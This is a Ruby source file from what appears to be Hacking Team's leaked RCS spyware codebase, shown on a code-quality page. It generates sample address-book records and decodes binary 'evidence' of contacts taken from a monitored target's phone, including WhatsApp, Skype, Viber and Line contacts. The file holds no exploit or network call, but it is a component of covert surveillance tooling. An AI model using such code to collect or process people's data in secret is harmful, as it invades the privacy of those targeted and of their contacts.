hackedteam/rcs-common

View on GitHub
lib/rcs-common/evidence/addressbook.rb

Summary

Maintainability
B
6 hrs
Test Coverage
require 'rcs-common/evidence/common'
require 'rcs-common/serializer'

module RCS

  module AddressbookEvidence
    def content
      fields = { :first_name => ["John", "Liza", "Bruno"].sample,
                 :last_name => ["Doe", "Rossi", "Bianchi"].sample,
                 :mobile_phone_number => "+393380123456",
                 :home_phone_number => "+39024567890",
                 :email_1 => "test@me.com"}
      AddressBookSerializer.new.serialize fields
    end

    def generate_content
      [ content ]
    end

    def decode_content(common_info, chunks)
      stream = StringIO.new chunks.join

      until stream.eof?
        info = Hash[common_info]
        info[:data] ||= Hash.new

        contact = AddressBookSerializer.new.unserialize stream

        info[:data][:name] = contact.name
        info[:data][:contact] = contact.contact
        info[:data][:info] = contact.info
        info[:data][:program] = contact.program
        info[:data][:type] = contact.type
        info[:data][:handles] = contact.handles unless contact.handles.empty?

        yield info if block_given?
      end
      :delete_raw
    end
  end # ::AddressbookEvidence

  module IaddressbookEvidence

    VERSION_2 = 0x10000000
    CONTACTLIST = 0x0000C021
    CONTACTFILE = 0x0000C022

    LOCAL_CONTACT = 0x80000000

    PROGRAM_WHATSAPP = 0x00000001
    PROGRAM_SKYPE = 0x00000002
    PROGRAM_VIBER = 0x00000004
    PROGRAM_MESSAGES = 0x00000008
    PROGRAM_LINE = 0x00000010

    def content
      header = StringIO.new
      header.write [CONTACTLIST | VERSION_2].pack('L')
      header.write [0].pack('L')   # len (ignored)
      header.write [1].pack('L')   # num records

      header.write [CONTACTFILE].pack('L')
      header.write [LOCAL_CONTACT].pack('L')   # flags
      header.write [0].pack('L')   # len (ignored)

      name = "FirstName".to_utf16le_binary_null
      write_name(header, name)

      name = "LastName".to_utf16le_binary_null
      write_name(header, name)

      header.write [CONTACTFILE].pack('L')
      header.write [1].pack('L')   # num_contacts

      name = "+39123456789".to_utf16le_binary_null
      write_number(header, name)

      header.string
    end

    def generate_content
      [content]
    end

    def decode_content(common_info, chunks)
      stream = StringIO.new chunks.join

      # ABLogStruct
      magic_ver = read_uint32 stream
      raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic_ver} != #{CONTACTLIST}]") unless magic_ver == CONTACTLIST or magic_ver == (CONTACTLIST | VERSION_2)

      stream.read(4) # len, ignore
      num_records = read_uint32 stream

      (0..num_records-1).each do |i|

        info = Hash[common_info]
        info[:data] ||= Hash.new
        info[:data][:program] = :phone

        # ABFile
        magic = read_uint32 stream
        raise EvidenceDeserializeError.new("invalid log version for IADDRESSBOOK [#{magic} != #{CONTACTFILE}]") unless magic == CONTACTFILE
        flags = read_uint32(stream) if (magic_ver & VERSION_2 != 0)

        info[:data][:type] = :target if (flags & LOCAL_CONTACT != 0)
        info[:data][:program] = :whatsapp if (flags & PROGRAM_WHATSAPP != 0)
        info[:data][:program] = :skype if (flags & PROGRAM_SKYPE != 0)
        info[:data][:program] = :viber if (flags & PROGRAM_VIBER != 0)
        info[:data][:program] = :line if (flags & PROGRAM_LINE != 0)
        info[:data][:program] = :messages if (flags & PROGRAM_MESSAGES != 0)

        len = read_uint32 stream

        #ABName (first name)
        first_name = read_name(stream)

        #ABName (last name)
        last_name = read_name(stream)

        info[:data][:name] = "#{first_name} #{last_name}"

        #ABContacts
        magic = read_uint32 stream
        num_contacts = read_uint32 stream

        (0..num_contacts-1).each do |i|
          type, number = read_number(stream)
          case type
            when 0
              info[:data][:info] ||= number.delete(' ')
              info[:data][:handle] = number.delete(' ')
            else
              info[:data][:info] += "#{number}\n"
          end
        end

        trace :debug, "IADDRESSBOOK #{info[:data]}"

        yield info if block_given?
      end

      :keep_raw
    end

    def read_name(stream)
      magic = read_uint32 stream
      len = read_uint32 stream
      stream.read(len).utf16le_to_utf8
    end

    def write_name(stream, name)
      stream.write [CONTACTFILE].pack('L')
      stream.write [name.bytesize].pack('L')
      stream.write name
    end

    def read_number(stream)
      magic = read_uint32 stream
      type = read_uint32 stream
      name = read_name(stream)
      return type, name
    end

    def write_number(stream, number)
      stream.write [CONTACTFILE].pack('L')
      stream.write [0].pack('L') # type
      write_name(stream, number)
    end

  end # ::IAddressbookEvidence

end # ::RCS